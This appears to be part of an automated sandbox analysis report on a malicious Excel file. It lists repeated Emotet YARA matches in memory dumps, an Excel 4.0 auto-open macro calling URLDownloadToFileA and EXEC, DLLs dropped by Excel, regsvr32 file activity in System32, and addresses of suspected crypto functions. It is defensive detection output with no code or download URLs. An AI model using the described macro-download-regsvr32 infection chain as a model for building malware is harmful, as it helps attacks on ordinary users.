Source: 00000008.00000002.950173047.0000000001EF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000D.00000002.1293166483.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000009.00000002.1380954882.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000F.00000002.1380702189.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000C.00000002.1271971466.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000007.00000002.1380409195.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000009.00000002.1379888285.00000000001B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000005.00000002.939232134.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000008.00000002.950500387.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000B.00000002.1379913182.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000C.00000002.1272338835.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000B.00000002.1380959934.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000A.00000002.1110669448.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000D.00000002.1292663016.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Found malicious Excel 4.0 Macro
Source: RechX2022.11.11_1045X.xls Macro extractor: Sheet: Sheet7 contains: URLDownloadToFileA
Source: RechX2022.11.11_1045X.xls Macro extractor: Sheet: Sheet7 contains: URLDownloadToFileA
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv4.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\EvvmhfKiKFhKrSuHfBq[1].dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1].dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv3.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\elv2.ooocccxxx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\2yXcjy57oZTTUNweDidCGUY[1].dll Jump to dropped file
Found Excel 4.0 Macro with suspicious formulas
Source: RechX2022.11.11_1045X.xls Initial sample: EXEC
Source: RechX2022.11.11_1045X.xls Initial sample: EXEC
Yara signature match
Source: RechX2022.11.11_1045X.xls, type: SAMPLE Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: 8.2.regsvr32.exe.1ef0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 12.2.regsvr32.exe.3b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 5.2.regsvr32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 7.2.regsvr32.exe.4c0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 10.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 9.2.regsvr32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 10.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 13.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 15.2.regsvr32.exe.2d0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 15.2.regsvr32.exe.2d0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 7.2.regsvr32.exe.4c0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 5.2.regsvr32.exe.3b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 8.2.regsvr32.exe.1ef0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 13.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 11.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 12.2.regsvr32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 11.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 9.2.regsvr32.exe.1b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000007.00000002.1381010600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000A.00000002.1109090609.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000005.00000002.938553016.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000F.00000002.1379957935.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000008.00000002.950173047.0000000001EF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000D.00000002.1293166483.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000009.00000002.1380954882.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000F.00000002.1380702189.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000C.00000002.1271971466.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000007.00000002.1380409195.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000009.00000002.1379888285.00000000001B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000005.00000002.939232134.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 00000008.00000002.950500387.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000B.00000002.1379913182.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000C.00000002.1272338835.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000B.00000002.1380959934.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000A.00000002.1110669448.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: 0000000D.00000002.1292663016.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa reference_sample = 08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc, os = windows, severity = x86, creation_date = 2022-05-09, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd, id = db7d33fa-e50c-4c59-ab92-edb74aac87c9, last_modified = 2022-06-09
Source: C:\Users\user\Desktop\RechX2022.11.11_1045X.xls, type: DROPPED Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\BD680000, type: DROPPED Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Deletes files inside the Windows folder
Source: C:\Windows\System32\regsvr32.exe File deleted: C:\Windows\System32\YsDsgPDHHUIQoh Jump to behavior
Creates files inside the system directory
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\system32\YsDsgPDHHUIQoh\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF91019D4 5_2_000007FEF91019D4
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF910C0E8 5_2_000007FEF910C0E8
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF910D118 5_2_000007FEF910D118
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF910DBCC 5_2_000007FEF910DBCC
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF910C420 5_2_000007FEF910C420
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90FEAB8 5_2_000007FEF90FEAB8
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90F732C 5_2_000007FEF90F732C
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF9104574 5_2_000007FEF9104574
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90F5D68 5_2_000007FEF90F5D68
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF91015B0 5_2_000007FEF91015B0
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF9103CE8 5_2_000007FEF9103CE8
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90FEFA4 5_2_000007FEF90FEFA4
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF910C7C0 5_2_000007FEF910C7C0
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000007FEF90FD720 5_2_000007FEF90FD720
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_004F0000 5_2_004F0000
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180002C5C 5_2_0000000180002C5C
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180001864 5_2_0000000180001864
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180008470 5_2_0000000180008470
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800274F4 5_2_00000001800274F4
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180012108 5_2_0000000180012108
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180027AE4 5_2_0000000180027AE4
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180007F20 5_2_0000000180007F20
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180019F38 5_2_0000000180019F38
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018000EB3C 5_2_000000018000EB3C
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018000FBB4 5_2_000000018000FBB4
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180001FE8 5_2_0000000180001FE8
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800197F8 5_2_00000001800197F8
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180012BFC 5_2_0000000180012BFC
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018001EBFC 5_2_000000018001EBFC
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180008BFC 5_2_0000000180008BFC
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180003800 5_2_0000000180003800
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180007014 5_2_0000000180007014
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180015020 5_2_0000000180015020
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018002A43C 5_2_000000018002A43C
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018000E850 5_2_000000018000E850
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180013468 5_2_0000000180013468
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018001A470 5_2_000000018001A470
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180016C70 5_2_0000000180016C70
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180014C80 5_2_0000000180014C80
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018000B888 5_2_000000018000B888
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180011C90 5_2_0000000180011C90
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180021894 5_2_0000000180021894
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180021094 5_2_0000000180021094
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180026098 5_2_0000000180026098
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180005498 5_2_0000000180005498
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180017CB0 5_2_0000000180017CB0
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_0000000180025CB8 5_2_0000000180025CB8
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018000CCB8 5_2_000000018000CCB8
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800094BC 5_2_00000001800094BC
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_00000001800180C8 5_2_00000001800180C8
Source: C:\Windows\System32\regsvr32.exe Code function: 5_2_000000018001B4CC 5_2_000000018001B4CC
